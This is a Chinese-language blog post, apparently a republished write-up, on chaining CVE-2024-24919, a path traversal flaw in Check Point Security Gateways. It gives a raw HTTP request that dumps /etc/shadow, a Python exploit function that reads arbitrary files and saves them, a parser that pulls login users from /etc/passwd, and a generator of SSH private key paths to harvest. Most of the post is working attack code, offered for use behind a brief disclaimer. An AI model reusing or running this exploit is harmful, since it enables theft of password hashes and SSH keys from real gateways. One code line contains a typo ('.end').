链式利用CVE-2024–24919:通过Checkpoint安全网关LFI漏洞挖掘敏感SSH密钥

链式利用CVE-2024--24919:通过Checkpoint安全网关LFI漏洞获取更敏感的发现

2024年4月28日,NVD发布了一个关于Check Point安全网关LFI(本地文件包含)的CVE。更深入的细节可以在labs.watchtowr.com/check-point... 找到,这本质上是一个敏感信息泄露漏洞。攻击者不仅能够泄露普通的敏感信息,甚至可以直接转储/etc/shadow文件,这是非常严重的情况,因为shadow文件包含了机器用户凭证的哈希值。本篇博客并非关于破解shadow文件,而是关于 "我们如何链式利用这些敏感文件泄露来发现更敏感的文件,例如SSH密钥"

简单的POC(概念验证)

http 复制代码
POST /clients/MyCRL HTTP/1.1
Host: 127.0.0.1
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

aCSHELL/../../../../../../../../../../../etc/shadow

服务器将把shadow文件作为响应返回给你,这非常容易。只需通过POST方法发送路径,我们就能获取shadow文件。如果密码强度很高,用Hashcat破解可能需要很长时间。于是我想,"如果我们有能力读取任何文件,那让我们去读取SSH的id_rsa密钥吧。"

但这很困难。我想检查那里存在的每个用户,看看这些用户的home目录是否包含SSH密钥。 要求:

  1. 用户名
  2. 路径
  3. 自动化检查器

首先,我们来构建检查器,它将像上面的原始请求POC一样向Web服务器发送请求。上面HTTP原始请求的Python3版本如下。

python 复制代码
def exploit(ip, path):
    target = f'https://{ip}/clients/MyCRL'
    data = f'aCSHELL/../../../../../../../../../../..{path}'
    headers = {
        'Host': ip,
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0',
        'Te': 'trailers',
        'Dnt': '1',
        'Connection': 'keep-alive',
        'Content-Length': '48'
    }
    try:
        response = requests.post(target, headers=headers, data=data, verify=False, timeout=5)
        if response.status_code == 200:
            print(f'{Fore.GREEN}[+]{Fore.WHITE} Dumped {Fore.GREEN}{path}{Fore.WHITE} from {Fore.GREEN}{ip}{Fore.WHITE} successfully')
            print(f'{Fore.GREEN}[+]{Fore.WHITE} Response: {response.text}')
            data = f"[+] Dumped {path} from {ip} successfully\n[+] Response: {response.text}\n"
            with open('dumped.txt', 'a') as file:
                file.write(data)
        else:
            print(f'{Fore.RED}[-]{Fore.WHITE} Failed to dump {Fore.RED}{path}{Fore.WHITE} from {Fore.RED}{ip}{Fore.WHITE}')
    except Exception as e:
        print(f'{Fore.RED}[-]{Fore.WHITE} Failed to dump {Fore.RED}{path}{Fore.WHITE} from {Fore.RED}{ip}{Fore.WHITE}: {e}')

现在我们需要从服务器提取用户名。通常/etc/passwd文件包含用户列表。

ruby 复制代码
root:!:0:0:root:/:/bin/false
nobody:x:99:99:nobody:/nonexistent:/bin/false
ntp:x:38:38::/nonexistent:/bin/false
rpm:x:37:37::/nonexistent:/bin/false
pcap:x:77:77::/nonexistent:/bin/false
ace:x:0:0:Linux User,,,:/:/bin/clish
joker:x:0:0:Linux User,,,:/:/bin/clish
sysBadmin:x:0:0:Linux User,,,:/:/bin/clish
Thema:x:0:0:Linux User,,,:/:/bin/clish

有一些不存在的用户,如ntprpmpcap,我们不需要这些用户。因此,让我们编写一个简单的Python3脚本来实现这一点。

python 复制代码
def usernames(passwd_content):
    usernames = []
    lines = passwd_content.split('\n')
    for line in lines:
        parts = line.split(':')
        if len(parts) >= 7:
            username = parts[0]
            shell = parts[-1].strip()
            if shell not in ['/sbin/nologin', '/bin/false', '/usr/sbin/nologin', '/bin/sync']:
                usernames.append(username)
    return usernames

我通过移除那些使用/sbin/nologin/bin/false shell的用户简化了这个任务。现在我们有了用户列表,需要为这些用户创建RSA密钥的路径列表。

python 复制代码
username = usernames(passwd)
sshkeypathlists = []
for user in username:
    sshkeypathlists.append(f'/home/{user}/.ssh/id_rsa')
    sshkeypathlists.append(f'/home/{user}/.ssh/id_dsa')
    sshkeypathlists.append(f'/home/{user}/.ssh/id_ecdsa')
    sshkeypathlists.append(f'/home/{user}/.ssh/id_ed25519')
    sshkeypathlists.end(f'/home/{user}/.ssh/config')
    sshkeypathlists.append(f'/home/{user}/.ssh/identity')
    sshkeypathlists.append(f'/home/{user}/.ssh/id_rsa.pub')
    sshkeypathlists.append(f'/home/{user}/.ssh/id_dsa.pub')
    sshkeypathlists.append(f'/home/{user}/.ssh/id_ecdsa.pub')
    sshkeypathlists.append(f'/home/{user}/.ssh/id_ed25519.pub')
    sshkeypathlists.append(f'/home/{user}/.ssh/authorized_keys.pub')
    sshkeypathlists.append(f'/home/{user}/.ssh/known_hosts.pub')
    sshkeypathlists.append(f'/home/{user}/.ssh/config.pub')
    sshkeypathlists.append(f'/home/{user}/.ssh/identity.pub')
    sshkeypathlists.append(f'/root/.ssh/id_rsa')
    sshkeypathlists.append(f'/root/.ssh/id_dsa')
    sshkeypathlists.append(f'/root/.ssh/id_ecdsa')
    sshkeypathlists.append(f'/root/.ssh/id_ed25519')
    sshkeypathlists.append(f'/home/{user}/.ssh/known_hosts')

id_rsa密钥的泄露通过这种方法得到了更好的梳理,它只会检查root和现有用户的home目录中的密钥。现在,让我们把所有东西结合起来。首先测试一下这些函数是否工作完美。

现在,让我们把它们组合起来,并添加一些并发处理以提高速度。

仅将此脚本用于教育目的,我对您的任何恶意行为概不负责。

感谢Ashraful通知我这个CVE。Ashraful的Twitter:x.com/myselfAshra... CSD0tFqvECLokhw9aBeRqh4hzNr1jcA74GEiU+TM92Y2QfFPyT3PMy/YqFcTbwddRgmtw15BcOqFaRn6qsQZ5lKdz3ZbpXl8L0OXzLCPvKrd2MgSSiisveuodCE+F53+JkX0JqMgBwx21srCGhYSj4XobOwlr/3z1MWNHqNJcN3qptuAYGIH4ysv05HoGb+i

相关推荐
自不量力的A同学2 分钟前
Solon AI v3.9 正式发布:全能 Skill 爆发
java·网络·人工智能
一枕眠秋雨>o<7 分钟前
从抽象到具象:TBE如何重构AI算子的编译哲学
人工智能
xiaobaibai1538 分钟前
决策引擎深度拆解:AdAgent 用 CoT+RL 实现营销自主化决策
大数据·人工智能
island131410 分钟前
CANN ops-nn 算子库深度解析:神经网络核心计算的硬件映射、Tiling 策略与算子融合机制
人工智能·深度学习·神经网络
冬奇Lab11 分钟前
一天一个开源项目(第14篇):CC Workflow Studio - 可视化AI工作流编辑器,让AI自动化更简单
人工智能·开源·编辑器
是小蟹呀^12 分钟前
从稀疏到自适应:人脸识别中稀疏表示的核心演进
人工智能·分类
云边有个稻草人13 分钟前
CANN ops-nn:筑牢AIGC的神经网络算子算力底座
人工智能·神经网络·aigc·cann
island131413 分钟前
CANN Catlass 算子模板库深度解析:高性能 GEMM 架构、模板元编程与融合算子的显存管理策略
人工智能·神经网络·架构·智能路由器
结局无敌14 分钟前
从算子到生态:cann/ops-nn 如何编织一张高性能AI的协作之网
人工智能
chaser&upper15 分钟前
击穿长文本极限:在 AtomGit 破译 CANN ops-nn 的注意力加速密码
人工智能·深度学习·神经网络